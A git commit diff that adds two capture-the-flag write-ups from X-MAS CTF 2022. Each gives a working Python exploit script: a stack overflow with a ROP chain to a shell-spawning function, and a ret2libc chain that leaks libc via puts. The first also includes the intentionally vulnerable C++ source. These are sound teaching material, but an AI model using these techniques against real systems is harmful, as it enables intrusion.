summaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
-rw-r--r--docs/writeups/X-MAS_CTF_2022/Krampus_Greetings.txt220
-rw-r--r--docs/writeups/X-MAS_CTF_2022/Santas_Complaint_Hotline.txt116
-rw-r--r--scores.txt1
3 files changed, 337 insertions, 0 deletions
diff --git a/docs/writeups/X-MAS_CTF_2022/Krampus_Greetings.txt b/docs/writeups/X-MAS_CTF_2022/Krampus_Greetings.txt
new file mode 100644
index 0000000..8d30509
--- /dev/null
+++ b/docs/writeups/X-MAS_CTF_2022/Krampus_Greetings.txt
@@ -0,0 +1,220 @@
+Krampus wanted to redeem himself for all the bad he has done across the years.
+He wrote you [a] small program to craft the best Christmas greetings. He might
+need to brush up his C++ skill though.
+
+Category: pwn (438 points)
+Chall author: tomadimitrie
+Writeup author: malfurious
+
+
+
+This challenge provides C++ source code for the vulnerable program (and a build
+for reference). See the original source attached below this writeup. The clear
+intent of the program is to take a string from the user and display it back to
+them in a generated banner (lines containing a repeated character are added
+above and below the echoed string). However, the way the program goes about
+calculating the length of these 'banner border lines' is interesting...
+
+The program first asks for the single character to be repeated, then prompts for
+a series of symbols (which come from a simple alphabet "ABCDEF"). The symbols
+given by the user influence the total length of the border lines. After doing
+this calculation, another function is called (GenerateGreeting) which actually
+renders the output in a stack buffer; this is where the string to be echoed is
+collected as well.
+
+The stack buffer that we build the output in is 2312 bytes in length (2336 bytes
+from the stack frame base, according to r2). Only 128 bytes are read for the
+echoed string, so we need to get the calculated banner string length close to
+this size, so that we can use the direct message read to place our custom return
+address on the stack.
+
+
+
+Pattern count algorithm
+-----------------------
+As mentioned earlier, a series of symbols determines the length of the repeated
+character banner lines. The logic dictating this is as follows:
+
+ - each character from the SYMBOLS string ("ABCDEF") corresponds to a power
+ of 3:
+
+ A: 1
+ B: 3
+ C: 9
+ D: 27
+ ...
+
+ - each character occurrence in the user input contributes that power to the
+ total. Put another way, the some of all like-symbols is the multiple of
+ that power:
+
+ AABBC -> 2(A) 2(B) 1(C) -> 2*1 + 2*3 + 9 -> length = 17
+
+ - each symbol can appear no more than 3 times in the input
+
+However, there is a problem. Even if we give symbols for the largest possible
+string according to these rules ("AAABBBCCCDDDEEEFFF") (the order doesn't
+matter), we will only produce a banner of length 1092. This banner is included
+in the output twice, along with our echoed string which is a max of 128 bytes.
+This is 2313 bytes exactly, the defined length of the output buffer in the C++
+code.
+
+The trick is to utilize the implicit NULL-byte character that is placed at the
+end of the SYMBOLS string constant used by the code (sizeof("ABCDEF") == 7)!
+This would make any input NULL bytes equivalent to 3^6 or 729 under these rules,
+allowing us to easily smash the stack.
+
+You'll see a helper function in my exploit code that calculates a suitable
+symbol sequence from a desired banner length. In practice, the sequence I send
+is:
+
+ "\x00\x00\x00EDCCBB"
+
+
+
+Exploit
+-------
+With a method for smashing the stack in hand, let's move on to crafting our
+exploit. The payload itself doesn't need to be too complicated, as the binary
+gives us a convenient 'win' function to jump into (it's called "Flag", and just
+calls system("/bin/sh")).
+
+During experimentation, I found that the memory near the bottom of the stack
+frame can't just be carelessly blown away. Setting it all to 0x00 seems to
+be ok, but using much higher valued bytes can lead to a crash. This chunk of
+stack memory is written by the banner generation, so I can't just use 0x00 as
+the byte to be repeated (as scanf("%c") disallow this). Instead I use another
+arbitrary value as the repeated byte, but stop a little bit earlier at a
+slightly smaller target banner length (in practice, the ideal length - 16). I
+then just pad up my stack smash payload (with zeroes) to account for this.
+
+I pad out my write for the "symbol sequence" read with 0xff bytes, since 0x00
+corresponds to a valid symbol input (and I can only have 3 of them).
+
+The actual stack smash (a small ROP chain) requires a visit to one 'ret' gadget
+to fixup stack alighment before returning to the Flag function, where we get a
+shell.
+
+
+
+Solution (Python/sploit)
+------------------------
+#!/usr/bin/env sploit
+from sploit.payload import *
+
+def writefixed(data, size, pc):
+ if len(data) > size:
+ raise Exception("data too big for fixed write")
+ gap = size-len(data)
+ data += pc*gap
+ io.write(data)
+
+def getsymbols(n):
+ chars = [ b'\x00', b'F', b'E', b'D', b'C', b'B', b'A' ]
+ pows = [ pow(3, n) for n in reversed(range(len(chars))) ]
+ res = b''
+
+ for c, p in zip(chars, pows):
+ x, n = divmod(n, p)
+ res += c * x
+
+ return res
+
+flag = 0x4011e7 # flag win function
+ret = 0x40131d # ret gadget (stack alignment)
+pad = (0x7fffffffdfa0-0x7fffffffd680)-17 # Sub 1 for '\n', Sub 16 for (see below)
+
+# It's important to keep the space near the base of the frame zero,
+# or else things wont work. However, we can't use \x00 for the scanf
+# write below, so just stop the symbol banner early and pad out the
+# smash payload a little bit.
+
+symbols = getsymbols(pad)
+smash = Payload().rep(b'\x00', 16).sbp().ret(ret).ret(flag)
+
+io.write(Payload.MAGIC) # scanf %c
+io.write(b'\n') # getchar
+writefixed(symbols, 511, b'\xff') # read(numberString)
+writefixed(smash(), 128, b'\x00') # read(&output[cursor])
+io.interact()
+
+
+
+Original source (C++)
+---------------------
+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+
+void Setup() {
+ setvbuf(stdin, NULL, _IONBF, 0);
+ setvbuf(stdout, NULL, _IONBF, 0);
+ setvbuf(stderr, NULL, _IONBF, 0);
+}
+
+#define SYMBOLS "ABCDEF"
+
+__attribute__((used, hot, noinline))
+void Flag() {
+ system("/bin/sh");
+}
+
+void GenerateGreeting(
+ char patternSymbol,
+ int patternCount
+) {
+ char output[2312] = { 0 };
+ int outputCursor = 0;
+ for (int i = 0; i < patternCount; i += 1) {
+ output[outputCursor++] = patternSymbol;
+ }
+ output[outputCursor++] = '\n';
+
+ printf("enter greeting: \n");
+ outputCursor += read(0, &output[outputCursor], 128);
+
+ for (int i = 0; i < patternCount; i += 1) {
+ output[outputCursor++] = patternSymbol;
+ }
+ output[outputCursor++] = '\n';
+
+ printf("%s\n", output);
+}
+
+int main() {
+ Setup();
+
+ printf("enter pattern character: \n");
+ char patternSymbol;
+ scanf("%c", &patternSymbol);
+ getchar();
+
+ printf("enter number of symbols: \n");
+ char numberString[512];
+ int readAmount = read(0, numberString, sizeof(numberString) - 1);
+ numberString[readAmount] = '\0';
+
+ int mappings[sizeof(SYMBOLS)] = { 0 };
+ for (int i = 0; i < readAmount; i += 1) {
+ char current = numberString[i];
+ int index = 0;
+ for (const auto symbol: SYMBOLS) {
+ if (current == symbol) {
+ mappings[index] += 1;
+ }
+ index += 1;
+ }
+ }
+
+ int patternCount = 0;
+ int power = 1;
+ for (int i = 0; i < sizeof(SYMBOLS); ++i) {
+ if (mappings[i] > 3) {
+ abort();
+ }
+ patternCount += power * mappings[i];
+ power *= 3;
+ }
+
+ GenerateGreeting(patternSymbol, patternCount);
+}
diff --git a/docs/writeups/X-MAS_CTF_2022/Santas_Complaint_Hotline.txt b/docs/writeups/X-MAS_CTF_2022/Santas_Complaint_Hotline.txt
new file mode 100644
index 0000000..387be6e
--- /dev/null
+++ b/docs/writeups/X-MAS_CTF_2022/Santas_Complaint_Hotline.txt
@@ -0,0 +1,116 @@
+Have you ever wanted to have a place where you could express your biggest
+concerns about this year's X-MAS but didn't have a toll-free (taxes may apply)
+telephonic service at your disposal?
+
+Well, this year Santa took care of that!
+
+Category: pwn (50 points)
+Chall author: PinkiePie1189
+Writeup author: malfurious
+
+
+
+RE
+--
+The scoreboard provides us with the executable, its libc binary, and
+linker/loader. The application is not stripped, so we see the functions,
+non-pic, so we have known memory addresses within it, and doesn't use stack
+canaries. However, NX is set, so no shellcode.
+
+The application just contains a main function, which performs the rough outline
+described below:
+
+ - setvbuf on stdin and stdout, to disable buffering
+ - fopen /dev/null in write mode
+ - setbuf on the devnull file, to establish a buffer on the stack for use
+ - puts a welcome message
+ - while user input != "done"
+ - fgets stdin to a stack buffer
+ - fwrite that buffer to the devnull file handle
+
+The buffer used to collect intermediate user input is actually properly guarded
+from buffer overruns by its fgets call, passing 0x200 for the size parameter.
+We are only able to overrun the stack frame because the additional stack buffer
+established by the prior setbuf call is not as long as libc mandates.
+
+From 'man setbuf':
+
+ void setbuf(FILE *restrict stream, char *restrict buf);
+
+ [The other three calls] are, in effect, simply aliases for calls to setvbuf().
+ The setbuf() function is exactly equivalent to the call
+
+ setvbuf(stream, buf, buf ? _IOFBF : _IONBF, BUFSIZ);
+
+BUFSIZ is the required size.
+
+
+
+ROP Exploit
+-----------
+When the program writes to /dev/null, it writes the entire 0x200-byte temporary
+buffer, regardless of the amount of input received. So, our first couple writes
+can be empty lines. It takes 3 batches of input to get close to the end of the
+stack frame, and another 8 bytes to reach the saved RBP value exactly. You'll
+see a helper function in my exploit code that abstracts this process.
+
+I attempted a ret2libc to execute system("/bin/sh") and acquire a shell. So, we
+need to leak a libc address to calculate the mapped absolute addresses of the
+system function and its "/bin/sh" argument. I acheve this by ROP-ing to call
+the puts function with the address of the puts GOT entry as its argument (the
+GOT entry is already initialized because puts was called earlier in the program
+runtime). I finally return back to the program entry-point, to allow me to
+re-exploit having gained the leaked address. _start is chosen, rather than main,
+so that the stack is re-initialized and repaired from my damage.
+
+The second ROP chain is a straight-forward call to the library function, using
+the addresses resolved from the previous leak. My exploit code also calls
+exit(0) to attempt to exit cleanly.
+
+We require the use of a 'pop rdi; ret' gadget from the main executable, as well
+as a simple 'ret' gadget, used at the beginning of the second ROP chain to fixup
+the stack alignment prior to calling system.
+
+See my full sploit exploit script below.
+
+X-MAS{H07l1n3_Buff3r5_t00_5m4ll}
+
+
+
+Solution (Python/sploit)
+------------------------
+#!/usr/bin/env sploit
+from sploit.payload import *
+from sploit.rev.elf import *
+from sploit.arch import *
+
+b = ELF("./chall")
+l = ELF("./libc-2.27.so")
+poprdi = b.egad("pop rdi;ret")
+ret = 0x00400886 # ret gadget
+
+def sendpld(p):
+ io.readline()
+ io.writeline()
+ io.writeline()
+ io.writeline(Payload().pad(8)()+p())
+ io.writeline(b'done')
+
+# Leak libc address
+sendpld(Payload().sbp()
+ .ret(poprdi).int(b.sym._GOT_puts) # puts(&puts)
+ .ret(b.sym._PLT_puts)
+ .ret(b.sym._start)) # goto _start
+
+leak = btoi(io.readline()[:-1]) # strip \n char
+l.sym = l.sym.map(leak, l.sym.puts) # update libc mapping based on puts function
+
+# Get shell
+sendpld(Payload().sbp()
+ .ret(ret) # stack alignment
+ .ret(poprdi).int(l.sym._bin_sh) # system("/bin/sh")
+ .ret(l.sym.system)
+ .ret(poprdi).int(0) # exit(0)
+ .ret(l.sym.exit))
+
+io.interact()
diff --git a/scores.txt b/scores.txt
index 6e772d2..8eb89b4 100644
--- a/scores.txt
+++ b/scores.txt
@@ -20,3 +20,4 @@ Metasploit Community CTF 2021 1300 22 /265 (727)
picoCTF 2022 13100 140 /7794
angstromCTF 2022 2111 80 /1179 (1319)
+X-MAS CTF 2022 1123 66 /816 (1451)